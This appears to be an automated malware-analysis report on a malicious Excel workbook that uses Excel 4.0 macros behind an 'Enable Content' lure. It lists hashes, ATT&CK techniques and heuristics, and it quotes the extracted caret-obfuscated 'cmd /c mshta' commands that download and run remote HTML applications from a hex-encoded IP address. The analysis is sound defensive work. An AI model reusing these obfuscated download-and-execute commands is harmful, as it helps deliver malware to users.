Office (OLE) / .XLS malware analysis — malicious · ae56dff158797452

MALICIOUS

Office (OLE) / .XLS

64.5 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: 6fc534d44ee711702383ddcee620c25c SHA-1: 9d3f0ed1a034e37b7d7fa38e1ba261969eff9a2c SHA-256: ae56dff1587974524ac2177f625cc502a48335e7b03850912fc106742c114baa

100 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic for Applications T1105 Ingress Tool Transfer

The sample uses a 'Enable Content' lure to trick the user into executing Excel 4.0 (XLM) macros. The extracted macros contain commands to execute 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html' and 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which use caret symbols for obfuscation to launch mshta.exe to download a remote HTML application from http://0xc12a24f5/c.html and http://0xc12a24f5/cc.html.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

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